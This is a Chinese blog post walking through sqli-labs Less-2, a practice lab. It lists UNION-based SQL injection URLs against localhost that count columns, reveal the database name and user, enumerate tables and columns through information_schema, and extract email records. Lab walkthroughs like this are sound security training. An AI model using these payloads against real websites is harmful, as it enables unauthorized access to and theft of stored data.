码迷,mamicode.com
首页 > 数据库 > 详细

【sqli-labs】 less2 GET - Error based - Intiger based (基于错误的GET整型注入)

时间:2018-01-18 23:07:04      阅读:306      评论:0      收藏:0      [点我收藏+]

标签:.com   and   div   相同   where   uri   tables   table   email   

与less1相同,直接走流程

提交参数,直接order by

技术分享图片

http://localhost/sqli/Less-2/?id=1 order by 1%23
http://localhost/sqli/Less-2/?id=-1 union select 1,2,3%23

技术分享图片

http://localhost/sqli/Less-2/?id=-1 union select 1,database(),user()%23

技术分享图片

http://localhost/sqli/Less-2/?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema=‘security‘ limit 0,1%23

技术分享图片

http://localhost/sqli/Less-2/?id=-1 union select 1,column_name,3 from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘ limit 0,1%23

技术分享图片

http://localhost/sqli/Less-2/?id=-1 union select 1,id,email_id from emails limit 0,1%23

技术分享图片

 

【sqli-labs】 less2 GET - Error based - Intiger based (基于错误的GET整型注入)

标签:.com   and   div   相同   where   uri   tables   table   email   

原文地址:https://www.cnblogs.com/superkrissV/p/8313148.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!